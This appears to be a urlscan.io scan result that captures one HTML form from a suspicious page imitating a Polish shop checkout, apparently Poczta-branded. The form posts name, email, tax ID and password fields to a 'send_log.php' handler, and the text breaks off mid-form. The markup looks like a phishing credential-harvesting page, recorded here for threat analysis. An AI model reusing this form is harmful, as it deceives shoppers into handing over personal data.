minitoe.com Open in urlscan Pro
139.59.79.179  Public Scan

URL: https://minitoe.com/octza/bupa.html
Submission: On November 04 via api from US — Scanned from DE

Form analysis 1 forms found in the DOM

POST send_log.php

<form action="send_log.php" method="post">
  <div class="checkout-container">
    <div class="checkout-main">
      <div class="flashbags">
      </div>
      <div class="acris-tax-vat-id-validation" data-acris-tax="true" data-acris-tax-validation="true"
        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        <input type="hidden" name="_csrf_token" value="13dc7833ecd74617e33ff5d.VkHZIlAEYXGcIztF8scT1thl2rq3YqNMvteeTlz_2q0.e3CPcgJ0KhDZd1YjvaJgma4XjMD8Vfx82LHLJBWK6f89DrtvEjcjM_NATA">
        <input type="hidden" name="redirectTo" value="frontend.checkout.confirm.page">
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        <input type="hidden" name="errorRoute" value="frontend.checkout.register.page">
        <div class="card register-personal">
          <div class="row">
            <div class="col-12">
              <h2 class="address-main-header">Dane rozliczeniowe</h2>
              <h3 class="address-sub-header">Wpisz dane, na które mamy wystawić fakturę</h3>
            </div>
            <div class="col-12">
              <div class="account-type-form-group form-group">
                <div class="custom-control custom-radio">
                  <input type="radio" id="editaccountTypePrivate" name="accountType" value="private" checked="checked" class="custom-control-input" data-form-field-toggle="true" data-form-field-toggle-target=".editjs-form-field-toggle-company-fields"
                    data-form-field-toggle-value="false">
                  <label class="custom-control-label" for="editaccountTypePrivate"> Osoba prywatna </label>
                </div>
                <div class="custom-control custom-radio">
                  <input type="radio" id="editaccountTypeBusiness" name="accountType" value="business" class="custom-control-input" data-form-field-toggle="true" data-form-field-toggle-target=".editjs-form-field-toggle-company-fields"
                    data-form-field-toggle-value="true">
                  <label class="custom-control-label" for="editaccountTypeBusiness"> Firma </label>
                </div>
              </div>
            </div>
            <input type="hidden" name="salutationId" value="386327ed97cf4c02b51e8ccbbbafe694">
            <div class="col-md-6">
              <div class="form-group">
                <label class="form-label" for="personalFirstName"> Imię* </label>
                <input type="text" class="form-control" autocomplete="section-personal given-name" id="fname" placeholder="Imię" name="fname" value="" data-form-validation-required=""
                  data-form-validation-required-message="Pole Imię nie może być puste." required="required">
              </div>
            </div>
            <div class="col-md-6">
              <div class="form-group">
                <label class="form-label" for="personalLastName"> Nazwisko* </label>
                <input type="text" class="form-control" autocomplete="section-personal family-name" id="lname" placeholder="Nazwisko" name="lname" value="" data-form-validation-required=""
                  data-form-validation-required-message="Pole Nazwisko nie może być puste." required="required">
              </div>
            </div>
            <div class="col-12">
              <div class="form-group">
                <label class="form-label" for="billingAddressAddressCountry"> Kraj* </label>
                <select class="country-select custom-select" id="billingAddressAddressCountry" name="billingAddress[countryId]" required="required" data-initial-country-id="37454322ebde4940a1d518efe3f313e6">
                  <option value="37454322ebde4940a1d518efe3f313e6" selected="selected" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Polska </option>
                  <option value="350ecf0960894ed79398c7e34e02c65c" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Albania </option>
                  <option value="363912f338854e149f79294d789186b9" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Algieria </option>
                  <option value="842e3552a4964c4186a2282d486a8125" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Andora </option>
                  <option value="fa95c4c86efe4420a5f16ad7800d21a7" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Antigua i Barbuda </option>
                  <option value="f46e755af5e74acf8fc954f596c58ca7" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Arabia Saudyjska </option>
                  <option value="80ae2417344f47c3bef4e1d2b8eea3fa" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Argentyna </option>
                  <option value="cd88c8d2d1e148f48428db7ac336c49d" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Armenia </option>
                  <option value="053d8d34e43b4e218ea0ea1bea2ade98" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Aruba </option>
                  <option value="9df7a36255d74ccbb602dcef9e9a77c7" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Australia </option>
                  <option value="260e470f2198402e952c7290ec1cfa28" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Austria </option>
                  <option value="fbc8d14ddbc74ab09c9ab31422bb86d1" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Azerbejdżan </option>
                  <option value="d49389ea3469432f93089e1616ad976f" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Bahamy </option>
                  <option value="ad9eb7923cf044a790a80dcd589971c0" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Bahrajn </option>
                  <option value="37922f1aff364c3483426600cdfd3c63" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Barbados </option>
                  <option value="e34292762ab74efeb60d77d1a55f8b67" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Belgia </option>
                  <option value="52d89f85e8f84b3db7fd08777ec9adb1" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Belize </option>
                  <option value="ec58f9e8a08f426a98715bbe839425c4" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Bermudy </option>
                  <option value="ff50c7564ed84206a50b1e4f186dc2d2" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Białoruś </option>
                  <option value="5bbb1ca372f44431a2508d4279e5518e" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Boliwia </option>
                  <option value="a748eab9ca954f3c9a60158e0459816d" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Bonaire, Sint Eustatius i Saba </option>
                  <option value="dc78c596a25746aba3a50612c0a80145" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Bośnia i Hercegowina </option>
                  <option value="0add26b2211c47ea8569ddf1d6c867ff" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Brazylia </option>
                  <option value="f84eb3684b9745aaa40493bf835bc91d" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Burkina Faso </option>
                  <option value="b65107d6d8b6460f974a2de9f54bb9a9" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Bułgaria </option>
                  <option value="5469a253e3854244ab7ce76db6885ee9" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Chile </option>
                  <option value="507c5114a43c4332905a1e12d4f2021c" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Chiny </option>
                  <option value="ead5fffb917741b4816f5faea8639952" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Chorwacja </option>
                  <option value="640210a740b24648a52d38639848e7e1" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Curaçao </option>
                  <option value="f2a0a6ecc8934458ac1d2169f07a3d91" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Cypr </option>
                  <option value="77292b3295404f1ca63d14708a002c01" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Czarnogóra </option>
                  <option value="d7f5ff03614b44ec8e61c6ac285d6c29" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Czechy </option>
                  <option value="25c7ebd0788f44b9bd5c855dba0ee9f5" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Dania </option>
                  <option value="e16b21f69bc3447dbf90bd0f89846ef8" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Dominika </option>
                  <option value="173a080efaa345d28452003bd064b9f7" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Dominikana </option>
                  <option value="60a6b69eedac44cd80b493df67d9f5fb" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Egipt </option>
                  <option value="f8c4378ebfda4b2c9e769c6438006e9f" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Ekwador </option>
                  <option value="cf0ce0da9c574dccb705b69aaae13a18" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Estonia </option>
                  <option value="f44bcf492c6b4209b090ca9bfd6fab29" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Falklandy </option>
                  <option value="e3ffa2f928db4c498a793c735111db23" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Fidżi </option>
                  <option value="9bba0d5aac3942f58a338a0cd5dbf711" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Filipiny </option>
                  <option value="ea451ccee91a43b8a7be536abb1b3ba7" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Finlandia </option>
                  <option value="a7c5e315287a4bdf812cba82464f523a" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Francja </option>
                  <option value="90fd6b635eb6458386b4cbb814c34443" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Gibraltar </option>
                  <option value="95049e13dca74c9aa10a649d1a7016e8" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Grecja </option>
                  <option value="85e89ff1991b4f34802e87fa33da2467" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Gruzja </option>
                  <option value="735090fcf99d4004a476f4a2b4bcfe24" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Gujana </option>
                  <option value="e50499cdd0714df5b5bbb1911ec33f09" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Gujana Francuska </option>
                  <option value="eb2855cef9ba4e8d895de73eb4ebbfa0" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Gwatemala </option>
                  <option value="3018fd5ee20c40a288c8aeedaa07c909" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Gwinea </option>
                  <option value="b09fc0bc1815451ea8f7f5229d97205b" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Gwinea Bissau </option>
                  <option value="9839969f6f924ad8a5bff8d6330685f0" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Gwinea Równikowa </option>
                  <option value="bc3a06fc426f4a3d9b489a231ddcdd40" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Haiti </option>
                  <option value="845b09ad780046c8987df2515e203f34" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Hiszpania </option>
                  <option value="1a976bea6fa44a7984c594ad8dd84590" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Holandia </option>
                  <option value="2ea233c26a3e4ce3bac808a713af6f6d" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Honduras </option>
                  <option value="48bfb01c4f7c4699a88d55f6c42ebfdf" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Hongkong </option>
                  <option value="6b7a9c5add0b47d18443afd9dcb3c0ca" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Indie </option>
                  <option value="1ce91547261b45b684e58f1e35e7bbb9" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Indonezja </option>
                  <option value="fbcf59c76f014dd5947f712503a38302" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Irak </option>
                  <option value="76994df936c84b4591598739e0563fcf" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Irlandia </option>
                  <option value="ca24d228865f45beb3a5773c9610d800" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Islandia </option>
                  <option value="092cc7a905184aa8831d82bc04d191dc" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Izrael </option>
                  <option value="d8683dc0443b45df9f1d169ae72cbbbf" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Jamajka </option>
                  <option value="75efbf05f56047229d96e70699e583d6" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Japonia </option>
                  <option value="7da9cd13e664482a9eda09e0f6b6bb57" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Kajmany </option>
                  <option value="373f215f64924014ac67240f08f1b3e7" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Kamerun </option>
                  <option value="5a9303c5a9104f179b6be2eb66da84b7" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Kanada </option>
                  <option value="84b246b675a44dc4a2d227793df8d3f3" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Katar </option>
                  <option value="500d5f42a0524bb4b113742aa071563a" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Kenia </option>
                  <option value="19d46bbcbe674f829b6bc2c4f714fb0f" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Kolumbia </option>
                  <option value="a656e6aa52894d25801eace46110e215" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Korea Południowa </option>
                  <option value="998549a857844517b71afe2b9b862202" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Kosowo </option>
                  <option value="43a6d3d94a684e26a9e76e2359d641b5" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Kostaryka </option>
                  <option value="20479ec8c3da45b68be5f96e23fa9511" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Kuba </option>
                  <option value="5e819e76d5b14f3f95c01691212494d4" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Kuwejt </option>
                  <option value="9c57f0ff425245a99805a0243d1518c7" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Liechtenstein </option>
                  <option value="efb9fa69e09046e78dff3265567fae77" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Litwa </option>
                  <option value="fb4a5049d05f4705b320f2910a04f025" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Luksemburg </option>
                  <option value="ce1a37674a08485bbb1fe9fcdf53c3c3" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Macedonia Północna </option>
                  <option value="e10b4cd9f40d4231b36597294e11ee5a" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Madagaskar </option>
                  <option value="f6819ad412b04b1fa43a17ae734a8427" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Makau </option>
                  <option value="f9207028b7a74bb0897f74bd522c57af" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Malediwy </option>
                  <option value="0f126edda9e149dbb2317915bb4445f2" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Malezja </option>
                  <option value="481157b2d94145c58410c9e0e26a9dd6" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Malta </option>
                  <option value="ff04491351144819ab8b3a6de16239a9" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Martynika </option>
                  <option value="98ab666bacc2415080a67ad139a4b777" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Mauritius </option>
                  <option value="8e1741283e52424d8ef633d1ae80a3be" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Meksyk </option>
                  <option value="0f784e8d142549beb910e3e1ef7694d6" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Mikronezja </option>
                  <option value="13e54812ecbb451cbc544e4bae24e9db" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Monako </option>
                  <option value="14cc1125b2c64871a63443d1f48db2e9" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Mongolia </option>
                  <option value="647e228a8a3141d0ae8ac5a0ff15bb80" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Moroko </option>
                  <option value="f4f83a6d45f4449aba10cd587d182c96" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Mołdawia </option>
                  <option value="d34139b0fb524448a478d0115cc4722b" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Nepal </option>
                  <option value="71b81f60a9a14b31aa686d1541cfe7ab" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Niemcy </option>
                  <option value="2f0ac83a618a4d88a34b14014fc82fb3" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Nigeria </option>
                  <option value="0e9c64d26e9245f391de1cbd5d7c73a7" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Nikaragua </option>
                  <option value="b75b3eb6f49542db852329732e94171e" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Norwegia </option>
                  <option value="9d2ce8c5e6d64ddbad3896a33402e947" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Nowa Kaledonia </option>
                  <option value="5218e9a6087c4fe6b74944c55372bb18" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Nowa Zelandia </option>
                  <option value="897f4ded375c4ff6bf8a3fafc5dd924c" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Oman </option>
                  <option value="6288a18f3bdf420298c70a9314112066" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Pakistan </option>
                  <option value="158afa487fef4e6c8179f25b555a994f" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Panama </option>
                  <option value="f0d161beb51a4060b737b38cea541665" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Papua-Nowa Gwinea </option>
                  <option value="bcfb2387692e44fb95778b4753681c98" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Paragwaj </option>
                  <option value="958d162b17704e70afa44e23f53905ba" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Peru </option>
                  <option value="206046d0be5e4cf99f29e7e370077673" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Polinezja Francuska </option>
                  <option value="3561c03776d049efa8dd9fc575fa250d" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Portugalia </option>
                  <option value="3accc90afda14066b80740caab0ec518" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Republika Południowej Afryki </option>
                  <option value="fb598c7c27214bb69202a593e1f742c9" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Republika Zielonego Przylądka </option>
                  <option value="42a1d67029dc46b3bbd1cf5cb50d83f0" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Rumunia </option>
                  <option value="1d35c9632e3d46f09ea63321b805ea0d" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Salwador </option>
                  <option value="ecfc4f3b7f6b414491877a581df83e1a" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> San Marino </option>
                  <option value="08fc3ac0ddeb4780afab474c3e34ee17" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Senegal </option>
                  <option value="79d513a9640148cc891633242b3592a8" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Serbia </option>
                  <option value="8fb725025072498299d1969518a8594c" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Seszele </option>
                  <option value="ec8430d931fb45da8aef433e1c685cf9" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Singapur </option>
                  <option value="cacf808bc9fc4f349f3bee52b840dc6a" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Sri Lanka </option>
                  <option value="5fde0893664d4427b6aebe6ff000d083" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Stany Zjednoczone </option>
                  <option value="293421549f6a47a2b228f01f0b506f6d" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Surinam </option>
                  <option value="32daf2cf7d7c4ba6aeeb8f898a28a950" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Szwajcaria </option>
                  <option value="74734d1075b842cfa64cd87f6321d8a9" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Szwecja </option>
                  <option value="f0372f144af745f085403be8605be0de" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Słowacja </option>
                  <option value="d999bb720197458394fc8cf1c0ea91e3" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Słowenia </option>
                  <option value="82504c3a66f74d9b9d825c222074254a" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Tajlandia </option>
                  <option value="7677a550a8cf40d29649f1e699357572" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Tajwan </option>
                  <option value="5b435d6ccbe14d4690af5b1d4d5835a9" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Tanzania </option>
                  <option value="afd4e7067fa047e0adc383f5379e0c8a" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Trynidad i Tobago </option>
                  <option value="6414bbbf7114425b8b6c5b11bfefea91" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Tunezja </option>
                  <option value="71a5ca25b7334b2d9253f87c7206887d" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Turcja </option>
                  <option value="ca1b6b3a84b648c9abd2ac00d8d66f54" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Ukraina </option>
                  <option value="44054ccd323f46199340c855892207a2" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Urugwaj </option>
                  <option value="39dac6d7fc7c48abbabaede73ec62b11" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Watykan </option>
                  <option value="78c1451c4daa4026ab9cbf8ca395e425" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Wenezuela </option>
                  <option value="aea816b5baf8473183e4ab8932f2107e" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Wielka Brytania </option>
                  <option value="d7fbcf79c3da45b494a35a2b418db0c6" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Wietnam </option>
                  <option value="2595608358c4493dbdeedda743c7ac9e" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Wybrzeże Kości Słoniowej </option>
                  <option value="0ea2a83541f44a0da93d8e01c831f608" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Wyspy Owcze </option>
                  <option value="57be25d1bbc34c249b426a090af33b51" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Węgry </option>
                  <option value="3c70b052a63b43ed8d230cd95fe7fb8e" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Włochy </option>
                  <option value="6310bb1e8dab46bc90eb2f7a53a50654" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Zambia </option>
                  <option value="2300739f2f3a4b6fb4dcc5f51ee3bf36" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Zimbabwe </option>
                  <option value="7b21dfdfe2af4c64b4b5c479720ea8c5" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Zjednoczone Emiraty Arabskie </option>
                  <option value="958f7cb8467a444b8477ee1e44b135d9" data-zipcode-required="1" data-vat-id-required="" data-state-required=""> Łotwa </option>
                </select>
              </div>
            </div>
            <div class="editjs-form-field-toggle-company-fields col-12 d-none">
              <div class="row">
                <div class="col-sm-8">
                  <label class="form-label" for="vatId"> NIP </label>
                  <input type="text" class="form-control" id="vatIds" placeholder="Nr NIP" name="vatIds[]" value="" disabled="disabled">
                  <div class="acris-tax-input-with-validation">
                    <div role="alert" id="acris-tax-alert-danger" class="alert alert-danger d-none">
                      <span class="icon icon-blocked">
                        <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="24" height="24" viewBox="0 0 24 24">
                          <defs>
                            <path
                              d="M12 24C5.3726 24 0 18.6274 0 12S5.3726 0 12 0s12 5.3726 12 12-5.3726 12-12 12zm0-2c5.5228 0 10-4.4772 10-10S17.5228 2 12 2 2 6.4772 2 12s4.4772 10 10 10zm4.2929-15.7071c.3905-.3905 1.0237-.3905 1.4142 0 .3905.3905.3905 1.0237 0 1.4142l-10 10c-.3905.3905-1.0237.3905-1.4142 0-.3905-.3905-.3905-1.0237 0-1.4142l10-10z"
                              id="icons-default-blocked"></path>
                          </defs>
                          <use xlink:href="#icons-default-blocked" fill="#758CA3" fill-rule="evenodd"></use>
                        </svg>
                      </span>
                    </div>
                    <div role="alert" id="acris-tax-alert-success" class="alert alert-success d-none">
                      <span class="icon icon-checkmark-circle">
                        <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="24" height="24" viewBox="0 0 24 24">
                          <defs>
                            <path
                              d="M24 12c0 6.6274-5.3726 12-12 12S0 18.6274 0 12 5.3726 0 12 0s12 5.3726 12 12zM12 2C6.4772 2 2 6.4772 2 12s4.4772 10 10 10 10-4.4772 10-10S17.5228 2 12 2zM7.7071 12.2929 10 14.5858l6.2929-6.293c.3905-.3904 1.0237-.3904 1.4142 0 .3905.3906.3905 1.0238 0 1.4143l-7 7c-.3905.3905-1.0237.3905-1.4142 0l-3-3c-.3905-.3905-.3905-1.0237 0-1.4142.3905-.3905 1.0237-.3905 1.4142 0z"
                              id="icons-default-checkmark-circle"></path>
                          </defs>
                          <use xlink:href="#icons-default-checkmark-circle" fill="#758CA3" fill-rule="evenodd"></use>
                        </svg>
                      </span>
                    </div>
                    <div id="acris-tax-element-indicator" class="d-none">
                    </div>
                  </div>
                  <p id="acris-tax-vat-id-validation-message-empty-country" class="vat-id-empty-country-message d-none">error.VIOLATION::CUSTOMER_VAT_ID_EMPTY_COUNTRY</p>
                  <div class="vat-id-invalid-feedback d-none" id="acris-tax-vat-id-validation-message">
                    <p id="acris-tax-vat-id-validation-message-format"></p>
                    <p id="acris-tax-vat-id-validation-message-vat-id-validation" class="d-none">Wprowadzony numer NIP nie figuruje w rejestrze VIES.</p>
                    <p id="acris-tax-vat-id-validation-message-vies-connection-error" class="d-none">Brak połączenia z rejestrem VIES.</p>
                  </div>
                </div>
                <div class="col-sm-4">
                  <button type="button" data-fetch-gus-data-billingaddress="true"
                    data-fetch-gus-data-options="{&quot;path&quot;:&quot;\/gus\/fetch-data\/&quot;,&quot;token&quot;:&quot;120f39e751c9c6cdd85a24d.Fhbw1tNAoMssygG-FgK5lSUFMGB73qKc-bGLpt4VkKY.UHOb4rEZxo1bnTbbIGPy-WM9Ywg8mM_mu9fo4qgio_JMX8a-hzP5uVquSA&quot;}"
                    data-fetch-gus-data-vat-id="vatIds" data-fetch-gus-data-prefix="billingAddress" data-fetch-gus-data-type-prefix=""
                    data-fetch-gus-data-countries-iso-codes="{&quot;PL&quot;:&quot;37454322ebde4940a1d518efe3f313e6&quot;,&quot;AT&quot;:&quot;260e470f2198402e952c7290ec1cfa28&quot;,&quot;BE&quot;:&quot;e34292762ab74efeb60d77d1a55f8b67&quot;,&quot;BG&quot;:&quot;b65107d6d8b6460f974a2de9f54bb9a9&quot;,&quot;HR&quot;:&quot;ead5fffb917741b4816f5faea8639952&quot;,&quot;CY&quot;:&quot;f2a0a6ecc8934458ac1d2169f07a3d91&quot;,&quot;CZ&quot;:&quot;d7f5ff03614b44ec8e61c6ac285d6c29&quot;,&quot;DK&quot;:&quot;25c7ebd0788f44b9bd5c855dba0ee9f5&quot;,&quot;EE&quot;:&quot;cf0ce0da9c574dccb705b69aaae13a18&quot;,&quot;FI&quot;:&quot;ea451ccee91a43b8a7be536abb1b3ba7&quot;,&quot;FR&quot;:&quot;a7c5e315287a4bdf812cba82464f523a&quot;,&quot;GR&quot;:&quot;95049e13dca74c9aa10a649d1a7016e8&quot;,&quot;ES&quot;:&quot;845b09ad780046c8987df2515e203f34&quot;,&quot;NL&quot;:&quot;1a976bea6fa44a7984c594ad8dd84590&quot;,&quot;IE&quot;:&quot;76994df936c84b4591598739e0563fcf&quot;,&quot;LT&quot;:&quot;efb9fa69e09046e78dff3265567fae77&quot;,&quot;LU&quot;:&quot;fb4a5049d05f4705b320f2910a04f025&quot;,&quot;MT&quot;:&quot;481157b2d94145c58410c9e0e26a9dd6&quot;,&quot;DE&quot;:&quot;71b81f60a9a14b31aa686d1541cfe7ab&quot;,&quot;PT&quot;:&quot;3561c03776d049efa8dd9fc575fa250d&quot;,&quot;RO&quot;:&quot;42a1d67029dc46b3bbd1cf5cb50d83f0&quot;,&quot;SE&quot;:&quot;74734d1075b842cfa64cd87f6321d8a9&quot;,&quot;SK&quot;:&quot;f0372f144af745f085403be8605be0de&quot;,&quot;SI&quot;:&quot;d999bb720197458394fc8cf1c0ea91e3&quot;,&quot;HU&quot;:&quot;57be25d1bbc34c249b426a090af33b51&quot;,&quot;IT&quot;:&quot;3c70b052a63b43ed8d230cd95fe7fb8e&quot;,&quot;LV&quot;:&quot;958f7cb8467a444b8477ee1e44b135d9&quot;}"
                    class="btn btn-form btn-primary-outline w-100" style="display: block;"> Pobierz dane firmy z GUS </button>
                </div>
                <div class="col-12">
                  <div class="form-group">
                    <label class="form-label" for="billingAddresscompany"> Firma </label>
                    <input type="text" class="form-control" id="billingAddresscompany" placeholder="Wprowadź firmę..." name="billingAddress[company]" value="" data-form-validation-required="" disabled="disabled">
                  </div>
                </div>
              </div>
            </div>
            <div class="col-md-6">
              <div class="form-group">
                <label class="form-label" for="personalMail"> Adres e-mail* </label>
                <input type="email" class="form-control" autocomplete="section-personal email" id="email" placeholder="Wprowadź nowy adres e-mail..." name="email" value="" required="required">
              </div>
            </div>
            <div class="col-md-6"></div>
            <div class="col-12">
              <label class="custom-poczta-checkbox register-guest-control checked">
                <input type="checkbox" name="guest" value="true" id="personalGuest" checked="checked" data-form-field-toggle="true" data-form-field-toggle-target=".js-form-field-toggle-guest-mode" data-form-field-toggle-value="false">
                <span class="custom-poczta-checkbox-label"> Nie zakładaj konta klienta. </span>
              </label>
            </div>
            <div class="col-12 js-form-field-toggle-guest-mode d-none">
              <div class="row">
                <div class="col-md-6">
                  <div class="form-group" data-show-password="true">
                    <label class="form-label" for="personalPassword"> Hasło* </label>
                    <input type="password" class="form-control js-field-toggle-was-required" autocomplete="new-password" id="personalPassword" placeholder="Wprowadź hasło..." name="password" minlength="8" data-form-validation-equal="newPassword"
                      disabled="disabled">
                    <button class="show-password-btn" type="button" style="height: 0px;"></button><button class="show-password-btn" type="button" style="height: 0px;"></button><button class="show-password-btn" type="button"
                      style="height: 0px;"></button>
                  </div>
                </div>
                <div class="col-md-6">
                  <div class="form-group" data-show-password="true">
                    <label class="form-label" for="personalPasswordConfirmation"> Potwierdzenie hasła* </label>
                    <input type="password" class="form-control js-field-toggle-was-required" autocomplete="new-password" id="personalPasswordConfirmation" placeholder="Powtórz hasło..." name="passwordConfirmation" minlength="8"
                      data-form-validation-equal="newPassword" data-form-validation-equal-message="Hasła nie są identyczne." disabled="disabled">
                    <button class="show-password-btn" type="button" style="height: 0px;"></button><button class="show-password-btn" type="button" style="height: 0px;"></button><button class="show-password-btn" type="button"
                      style="height: 0px;"></button>
                  </div>
                </div>
                <div class="col-12">
                  <p class="password-validation-info with-icon">
                    <em class="poczta-icon poczta-icon-shield-validation"></em>
